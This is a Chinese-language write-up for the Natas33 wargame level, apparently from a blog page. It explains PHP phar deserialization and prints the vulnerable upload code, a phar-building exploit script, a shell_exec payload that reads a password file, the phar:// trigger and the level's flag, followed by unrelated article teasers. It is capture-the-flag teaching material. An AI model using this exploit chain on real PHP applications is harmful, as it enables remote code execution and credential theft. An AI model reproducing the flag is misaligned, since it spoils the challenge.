Natas33 Writeup(Phar反序列化漏洞)
Natas33:

又是一个上传文件的页面,源码如下:
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename=""; //三个私有参数
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False; function __construct(){ //类创建时调用
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) { //限制文件大小
echo "File is too big<br>";
}
else { //将文件移动到/natas33/upload/目录下
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
} function __destruct(){ //类销毁时调用
// upgrade firmware at the end of this script // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
if(getcwd() === "/") chdir("/natas33/uploads/"); //getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
if(md5_file($this->filename) == $this->signature){ //md5_file() 函数计算文件的 MD5 散列。
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename); //执行外部命令
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
} session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor();
}
查看源码,我们知道,当上传文件的MD5校验与adeafbadbabec0dedabada55ba55d00d匹配时,服务器会执行这个文件。很容易想到MD5碰撞,然而这里是无用的,因为对其进行了限制,限制为4096字节。
查看前端代码,会发现我们可以修改两个参数,文件名和文件内容。在下面这段代码中,我们可以看到文件名的设置,是用的session_id作为默认值。而且源码对上传文件的类型没有限制。
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="4096" />
<input type="hidden" name="filename" value="<? echo session_id(); ?>" />
Upload Firmware Update:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
继续审计源码,发现在类销毁时调用了__destruct()魔术方法,猜测代码中可能存在PHP反序列化漏洞。
我们利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高,这种漏洞利用越来越来难了,但是在2018年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息(文章地址:https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。
Phar文件结构
Phar文件主要包含三至四个部分:
1. A stub
- stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件
2. a manifest describing the contents
- Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点
3. the file contents
- 被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化
4. a signature for verifying Phar integrity
- 签名校验
尝试利用phar反序列化漏洞获取密码
一 序列化
根据文件结构我们来自己构建一个phar文件(php内置了一个Phar类),代码如下:
<?php
class Executor {
private $filename = "xx.php";
private $signature = True;
private $init = false;
} $phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("test.txt", 'test'); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Executor();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->stopBuffering(); //签名自动计算
?>
这段代码将filename修改成了xx.php,将signature修改为True。这样的的话,MD5比较将会始终为真,passthru()函数将会执行xx.php。
代码直接运行的时候会报错:

将php.ini中的phar.readonly设置成off,重启服务后,重新运行代码,生成了一个test.phar文件。

用Notepad++打开文件,可以发现,meta-data已经以序列化的形式存在test.phar文件中

说明一下:其实就是把要执行的命令序列化保存在phar的压缩文件里
二 反序列化
对应序列化,肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作。
首先,上传一个用来读取密码的php文件,代码如下:
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
用bp将其拦截,修改名称为xx.php。然后点击Go,上传成功。

然后,将生成的phar文件上传,并重命名,点击Go,上传成功。

最后,将文件名修改为phar://test.phar/test.txt,强制md5_file()函数解析phar文档,获取到flag。

flag:shu5ouSu6eicielahhae0mohd4ui5uig
参考:
https://blog.csdn.net/baidu_35297930/article/details/99974886
https://www.cnblogs.com/zy-king-karl/p/11454609.html
https://www.cnblogs.com/Byqiyou/p/10187672.html
Natas33 Writeup(Phar反序列化漏洞)的更多相关文章
- PHP 反序列化漏洞入门学习笔记
参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...
- Natas26 Writeup(PHP反序列化漏洞)
Natas26: 打开页面是一个输入坐标点进行绘图的页面. <html> <head> <!-- This stuff in the header has nothing ...
- 实战经验丨PHP反序列化漏洞总结
又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞. 虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以 ...
- phar 反序列化学习
前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...
- PHP反序列化漏洞新攻击面(BlackHat 2018)
0x00 前言 入职以来好久没有写过文章了,入职的时间里也和师傅们学到了很多,认识了很多的新朋友.最近因为BlackHat 黑客大会的一个议题,PHP反序列化漏洞利用被挖掘出新的攻击面.这里本着记 ...
- 浅谈PHP反序列化漏洞原理
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...
- [代码审计]四个实例递进php反序列化漏洞理解【转载】
原作者:大方子 原文链接:https://blog.csdn.net/nzjdsds/article/details/82703639 0x01 索引 最近在总结php序列化相关的知识,看了好多前辈师 ...
- 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路
概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
- 谈一谈phar 反序列化
前言 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...
随机推荐
- MyBatis if test 传入一个数字进行比较报错 There is no getter for property named 'userState' in 'class java.lang.Integer'
在写MyBatis映射文件中,我要传入一个 int 类型的参数,在映射文件中用 'test' 中进行比较,我花了很长时间百度,发现都是不靠谱的方法,有把数字在比较时转成字符串用 equals 比较的. ...
- 企业级rancher搭建Kubernetes(采用rancher管理平台搭建k8s)
一.简介 Rancher简介 来源官方:https://www.cnrancher.com/ Rancher是一个开源的企业级容器管理平台.通过Rancher,企业再也不必自己使用一系列的开源软件去从 ...
- Redis 原理
线程IO模型 Redis 是个单线程程序!(对外网络请求服务) 对于那些时间复杂度为 O(n) 级别的指令,一定要谨慎使用,一不小心就可能会导致 Redis 卡顿. 使用缓冲区,事件轮询 API(Li ...
- Android studio常用快捷键与设置
1.格式化代码: 命令 快捷键 将代码合并成一行 Ctrl + Shift + J 格式化 Ctrl+Alt+L 2.API函数参数提示:双击选中所要提示的函数,再按F2即可显示函数的使用方法. 3. ...
- 来自ebay内部的「软件测试」学习资料,覆盖GUI、API自动化、代码级测试及性能测试等,Python等,拿走不谢!...
在软件测试领域从业蛮久了,常有人会问我: 刚入测试一年,很迷茫,觉得没啥好做的-- 测试在公司真的不受重视,我是不是去转型做开发会更好? 资深的测试架构师的发展路径是怎么样的?我平时该怎么学习? 我 ...
- bp(net core)+easyui+efcore实现仓储管理系统——入库管理之二(三十八)
abp(net core)+easyui+efcore实现仓储管理系统目录 abp(net core)+easyui+efcore实现仓储管理系统——ABP总体介绍(一) abp(net core)+ ...
- Java反射,泛型在Json中的运用
最近项目中遇到了Json数据自动获取的功能,不然令人想起java的反射,已经很长时间没复习java了正好一块连java的这一块内容一起过一遍.java中的反射无疑就相当于java开发者的春天,在众多的 ...
- 【Java】Map总结和源码注释
前言 Map为一个Java中一个重要的数据结构,主要表示<key, value>的映射关系对.本文包括了相关Map数据结构的总结和源码的阅读注释. HashMap 初始化,可以选择第二个初 ...
- 浅谈.NET Framework 与CLR
承载公共语言运行时 (CLR) 的所有应用程序均需启动(或称“激活”)CLR 以运行托管代码. 通常,.NET Framework 应用程序在生成它的 CLR ...
- Canvas 使用及应用
Canvas canvas 是 HTML5 当中我最喜欢的所有新特性中我最喜欢的一个标签了.因为它太强大了,各种有意思的特效都可以实现. 1. canvas 的基本使用方法 - 它是一个行内块元素 - ...